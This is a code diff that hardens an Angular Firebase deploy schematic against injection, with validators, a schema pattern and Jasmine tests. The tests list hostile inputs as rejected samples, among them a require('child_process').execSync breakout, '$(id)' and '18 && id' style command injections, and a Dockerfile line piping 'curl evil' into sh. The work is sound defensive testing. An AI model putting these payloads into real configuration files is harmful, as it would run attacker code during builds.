diff --git a/src/schematics/deploy/actions.jasmine.ts b/src/schematics/deploy/actions.jasmine.ts
index 1795ea10d..760d6e001 100644
--- a/src/schematics/deploy/actions.jasmine.ts
+++ b/src/schematics/deploy/actions.jasmine.ts
@@ -3,7 +3,7 @@ import { join } from 'path';
 import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect';
 import { JsonObject, logging } from '@angular-devkit/core';
 import { BuildTarget, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces';
-import deploy, { deployToFunction } from './actions.js'
+import deploy, { assertSafeNodeVersion, assertSafeOutputPath, deployToFunction } from './actions.js'
 import 'jasmine';
 
 let context: BuilderContext;
@@ -300,3 +300,33 @@ describe('universal deployment', () => {
     expect(spy).not.toHaveBeenCalled();
   });*/
 });
+
+describe('deploy codegen input validation (injection hardening)', () => {
+  describe('assertSafeOutputPath', () => {
+    ['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => {
+      it(`allows the valid outputPath "${p}"`, () => {
+        expect(assertSafeOutputPath(p, 'proj:server')).toBe(p);
+      });
+    });
+
+    [`x'); require('child_process').execSync('id'); ('`, 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b'].forEach((p) => {
+      it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => {
+        expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/);
+      });
+    });
+  });
+
+  describe('assertSafeNodeVersion', () => {
+    [undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => {
+      it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => {
+        expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow();
+      });
+    });
+
+    ['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => {
+      it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => {
+        expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/);
+      });
+    });
+  });
+});
diff --git a/src/schematics/deploy/actions.ts b/src/schematics/deploy/actions.ts
index 9a2fb7cde..a1517cb26 100644
--- a/src/schematics/deploy/actions.ts
+++ b/src/schematics/deploy/actions.ts
@@ -63,6 +63,31 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record<string, any>;
 
 const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&');
 
+// A build target's outputPath (from angular.json's architect.<project>.<build>.options)
+// is interpolated raw into generated Cloud Function source (`require('./<path>/main')`)
+// and into the generated package.json start script (`node <path>/main.js`), both of which
+// are later executed. Reject any value that could break out of that string literal or the
+// shell command; a legitimate build output directory never contains these characters.
+export const assertSafeOutputPath = (outputPath: string, targetName: string): string => {
+  if (/['"`\\\r\n;$&|<>(){}]/.test(outputPath)) {
+    throw new SchematicsException(
+      `Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.`
+    );
+  }
+  return outputPath;
+};
+
+// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line
+// (`FROM node:<version>-slim`), executed during the Cloud Run container build. Restrict it
+// to a plain version so it cannot inject extra Dockerfile instructions.
+export const assertSafeNodeVersion = (version: string | number | undefined): void => {
+  if (version !== undefined && !/^\d+(\.\d+)*$/.test(String(version))) {
+    throw new SchematicsException(
+      `Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json.`
+    );
+  }
+};
+
 const moveSync = (src: string, dest: string) => {
   copySync(src, dest);
   removeSync(src);
@@ -177,6 +202,7 @@ export const deployToFunction = async (
       `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
 
   const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
   if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
@@ -184,6 +210,7 @@ export const deployToFunction = async (
       `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
 
   const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
   const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
@@ -296,6 +323,7 @@ export const deployToCloudRun = async (
       `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
 
   const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
   if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
@@ -303,6 +331,7 @@ export const deployToCloudRun = async (
       `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
     );
   }
+  assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
 
   const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
   const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
@@ -335,6 +364,7 @@ export const deployToCloudRun = async (
     JSON.stringify(packageJson, null, 2),
   );
 
+  assertSafeNodeVersion(options.functionsNodeVersion);
   fsHost.writeFileSync(
     join(cloudRunOut, 'Dockerfile'),
     dockerfile(options)
diff --git a/src/schematics/deploy/schema.json b/src/schematics/deploy/schema.json
index 6335d3a8d..c088a0274 100644
--- a/src/schematics/deploy/schema.json
+++ b/src/schematics/deploy/schema.json
@@ -55,6 +55,7 @@
     },
     "functionsNodeVersion": {
       "oneOf": [{ "type": "number" }, { "type": "string" }],
+      "pattern": "^\\d+(\\.\\d+)*$",
       "description": "Version of Node.js to run Cloud Functions / Run on"
     },
     "CF3v2": {